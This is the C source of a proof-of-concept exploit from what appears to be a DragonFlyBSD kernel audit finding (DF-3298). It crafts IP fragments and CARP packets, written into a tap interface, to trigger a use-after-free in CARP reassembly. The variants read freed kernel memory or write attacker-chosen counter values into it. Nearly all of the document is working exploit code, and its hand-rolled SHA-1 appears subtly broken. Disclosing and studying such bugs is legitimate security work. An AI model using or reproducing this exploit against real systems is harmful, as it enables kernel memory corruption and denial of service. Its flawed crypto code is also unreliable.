⬢ DragonFlyBSD Kernel Audit
DF-3298 / frag_send.c
← back to finding ↓ download raw
/*
 * DF-3298 PoC - CARP softc use-after-free via deferred IP reassembly.
 *
 * Sends raw ethernet frames into a tap(4) interface (tap writes are
 * injected as *received* frames, i.e. they traverse ether_input ->
 * ... -> ip_input exactly like wire traffic).
 *
 * Variants:
 *   A1  fragment #1 (offset 0, MF) of an IP proto-112 (CARP) datagram,
 *       unicast dst MAC = 00:00:5e:00:01:01 (carp0's CARP vhid-1 MAC),
 *       dst IP  = 10.0.0.1 (tap0's address -> "ours" -> reassembly queue)
 *       -> claimed by carp_forus(), re-input on carp0 => rcvif = carp0
 *          ifnet (inside the carp_softc chunk).  Body need not be valid.
 *   A2  fragment #2 (offset 40/8=5, no MF), dst MAC = broadcast,
 *       same 4-tuple -> completes reassembly on tap0 AFTER carp0 was
 *       destroyed; head fragment pkthdr (rcvif = freed carp0 ifnet)
 *       survives m_cat() -> ip dispatch -> carp_proto_input() derefs
 *       the FREED ifnet/softc (if_type, if_flags, if_softc,
 *       sc_carpdev, if_xname ...) and logs "non-mcast packet on
 *       interface: carp0" reading if_xname from freed memory.
 *   B1/B2 same as A1/A2 but dst IP = 224.0.0.18 (CARP group) and a
 *       fully valid CARP header (checksum + HMAC w/ known key
 *       "pocpass") -> passes vhid/version/HMAC gates *inside the freed
 *       chunk* (sc_sha1/sc_pad/sc_key are NOT wiped at free) and
 *       executes:
 *           sc->sc_init_counter = 0;               (write, freed mem)
 *           sc->sc_counter = attacker-chosen 64b;  (write, freed mem)
 *
 * Build: cc -O2 -o frag_send frag_send.c
 * Usage: frag_send /dev/tap0 A1
 *        frag_send /dev/tap0 B1 pocpass
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

/* ---------------- compact SHA-1 ---------------- */
typedef struct { uint32_t h[5]; uint64_t len; uint8_t b[64]; size_t n; } SHA1_CTX;

static void
sha1_init(SHA1_CTX *c)
{
	c->h[0] = 0x67452301; c->h[1] = 0xEFCDAB89; c->h[2] = 0x98BADCFE;
	c->h[3] = 0x10325476; c->h[4] = 0xC3D2E1F0;
	c->len = 0; c->n = 0;
}

#define ROL(x, n) (((x) << (n)) | ((x) >> (32 - (n))))

static void
sha1_block(SHA1_CTX *c, const uint8_t *p)
{
	uint32_t w[80], a, b, d, e, f, k, t;
	int i;

	for (i = 0; i < 16; i++)
		w[i] = ((uint32_t)p[i*4] << 24) | ((uint32_t)p[i*4+1] << 16) |
		       ((uint32_t)p[i*4+2] << 8) | (uint32_t)p[i*4+3];
	for (i = 16; i < 80; i++)
		w[i] = ROL(w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16], 1);

	a = c->h[0]; b = c->h[1]; d = c->h[2]; e = c->h[3]; f = c->h[4];
	for (i = 0; i < 80; i++) {
		if (i < 20)      { k = 0x5A827999; f = (b & d) | ((~b) & e); }
		else if (i < 40) { k = 0x6ED9EBA1; f = b ^ d ^ e; }
		else if (i < 60) { k = 0x8F1BBCDC; f = (b & d) | (b & e) | (d & e); }
		else             { k = 0xCA62C1D6; f = b ^ d ^ e; }
		t = ROL(a, 5) + f + e + k + w[i];
		e = d; d = b; b = ROL(b, 30); a = t;
	}
	c->h[0] += a; c->h[1] += b; c->h[2] += d; c->h[3] += e; c->h[4] += f;
}

static void
sha1_update(SHA1_CTX *c, const void *data, size_t n)
{
	const uint8_t *p = data;

	c->len += n;
	while (n) {
		size_t k = 64 - c->n;
		if (k > n) k = n;
		memcpy(c->b + c->n, p, k);
		c->n += k; p += k; n -= k;
		if (c->n == 64) { sha1_block(c, c->b); c->n = 0; }
	}
}

static void
sha1_final(SHA1_CTX *c, uint8_t out[20])
{
	uint64_t bits = c->len * 8;
	uint8_t pad = 0x80, z = 0;
	int i;

	sha1_update(c, &pad, 1);
	while (c->n != 56)
		sha1_update(c, &z, 1);
	for (i = 7; i >= 0; i--) {
		uint8_t b = (bits >> (i * 8)) & 0xff;
		sha1_update(c, &b, 1);
	}
	for (i = 0; i < 5; i++) {
		out[i*4]   = c->h[i] >> 24;
		out[i*4+1] = c->h[i] >> 16;
		out[i*4+2] = c->h[i] >> 8;
		out[i*4+3] = c->h[i];
	}
}

/* ------------- CARP HMAC exactly as sys/netinet/ip_carp.c ------------- */
static void
carp_hmac(const uint8_t key[20], uint8_t vhid, uint32_t vaddr_net,
    const uint8_t counter[8], uint8_t md[20])
{
	uint8_t pad[64], ver = 2, typ = 1, i;
	SHA1_CTX c;

	memset(pad, 0, sizeof(pad));
	memcpy(pad, key, 20);
	for (i = 0; i < 64; i++)
		pad[i] ^= 0x36;

	sha1_init(&c);
	sha1_update(&c, pad, 64);
	sha1_update(&c, &ver, 1);
	sha1_update(&c, &typ, 1);
	sha1_update(&c, &vhid, 1);
	sha1_update(&c, &vaddr_net, 4);	/* carp0's virtual addr, net order */
	sha1_update(&c, counter, 8);
	sha1_final(&c, md);

	for (i = 0; i < 64; i++)
		pad[i] ^= 0x36 ^ 0x5c;
	sha1_init(&c);
	sha1_update(&c, pad, 64);
	sha1_update(&c, md, 20);
	sha1_final(&c, md);
}

static uint16_t
in_cksum(const uint8_t *p, int n)
{
	uint32_t s = 0;

	while (n > 1) { s += (p[0] << 8) | p[1]; p += 2; n -= 2; }
	if (n) s += p[0] << 8;
	while (s >> 16) s = (s & 0xffff) + (s >> 16);
	return (uint16_t)(~s & 0xffff);
}

static void
put16(uint8_t *p, uint16_t v)
{
	p[0] = v >> 8;
	p[1] = v & 0xff;
}

static void
build_frame(uint8_t *frame, int *flen, const char *variant, const char *pass)
{
	uint8_t carp[36], payload[40], hdr[20], eth[14];
	int iplen, off_units, mflag, i;
	uint32_t src, dst;

	src = inet_addr("10.9.9.9");
	dst = (variant[0] == 'B') ? inet_addr("224.0.0.18")
				  : inet_addr("10.0.0.1");

	if (variant[1] == '1') {
		mflag = 0x2000;			/* MF, offset 0 */
		off_units = 0;
		iplen = 20 + 40;

		/* 36-byte CARP header + 4 padding bytes (40 % 8 == 0) */
		memset(carp, 0, sizeof(carp));
		carp[0] = (2 << 4) | 1;		/* version 2, type 1 */
		carp[1] = 1;			/* vhid 1 */
		carp[2] = 0;			/* advskew */
		carp[3] = 7;			/* authlen */
		carp[4] = 0;			/* pad1 */
		carp[5] = 1;			/* advbase */
		carp[8]  = 0x11; carp[9]  = 0x22;	/* counter hi */
		carp[10] = 0x33; carp[11] = 0x44;
		carp[12] = 0x55; carp[13] = 0x66;	/* counter lo */
		carp[14] = 0x77; carp[15] = 0x88;
		if (variant[0] == 'B') {
			uint8_t key[20], md[20];

			memset(key, 0, sizeof(key));
			if (pass)
				strlcpy((char *)key, pass, sizeof(key));
			carp_hmac(key, 1, inet_addr("10.0.0.100"),
			    &carp[8], md);
			memcpy(&carp[16], md, 20);
		}
		put16(&carp[6], in_cksum(carp, 36));
		memcpy(payload, carp, 36);
		memset(payload + 36, 0, 4);
	} else {
		mflag = 0x0000;			/* last fragment */
		off_units = 5;			/* byte offset 40 / 8 */
		iplen = 20 + 8;
		memset(payload, 0x41, 8);
	}

	hdr[0] = 0x45; hdr[1] = 0;
	put16(&hdr[2], iplen);
	put16(&hdr[4], 0x4142);
	put16(&hdr[6], mflag | off_units);
	hdr[8] = 255; hdr[9] = 112;
	put16(&hdr[10], 0);
	memcpy(&hdr[12], &src, 4);
	memcpy(&hdr[16], &dst, 4);
	put16(&hdr[10], in_cksum(hdr, 20));

	memset(eth, 0, sizeof(eth));
	if (variant[1] == '1') {
		/* unicast to the CARP vhid-1 MAC -> claimed by carp_forus() */
		eth[0] = 0x00; eth[1] = 0x00; eth[2] = 0x5e;
		eth[3] = 0x00; eth[4] = 0x01; eth[5] = 0x01;
	} else {
		/* broadcast: plain input on tap0 (post-destroy) */
		for (i = 0; i < 6; i++)
			eth[i] = 0xff;
	}
	eth[6] = 0x02; eth[7] = 0x00; eth[8] = 0x00;
	eth[9] = 0x00; eth[10] = 0x00; eth[11] = 0x10;
	put16(&eth[12], 0x0800);

	memcpy(frame, eth, 14);
	memcpy(frame + 14, hdr, 20);
	memcpy(frame + 34, payload, iplen - 20);
	*flen = 14 + iplen;
}

int
main(int argc, char **argv)
{
	const char *dev = argv[1] ? argv[1] : "/dev/tap0";
	const char *variant = argv[2] ? argv[2] : "A1";
	const char *pass = argv[3] ? argv[3] : "pocpass";
	uint8_t frame[128];
	int fd, flen, n;

	if (argc < 3) {
		fprintf(stderr, "usage: %s /dev/tapN A1|A2|B1|B2 [pass]\n",
		    argv[0]);
		return 2;
	}
	if (strlen(variant) != 2 ||
	    (variant[0] != 'A' && variant[0] != 'B') ||
	    (variant[1] != '1' && variant[1] != '2')) {
		fprintf(stderr, "bad variant %s\n", variant);
		return 2;
	}
	build_frame(frame, &flen, variant, pass);

	fd = open(dev, O_RDWR);
	if (fd < 0) { perror(dev); return 1; }
	n = write(fd, frame, flen);
	if (n != flen) { perror("write"); return 1; }
	printf("%s: wrote %d bytes (variant %s)\n", dev, flen, variant);
	return 0;
}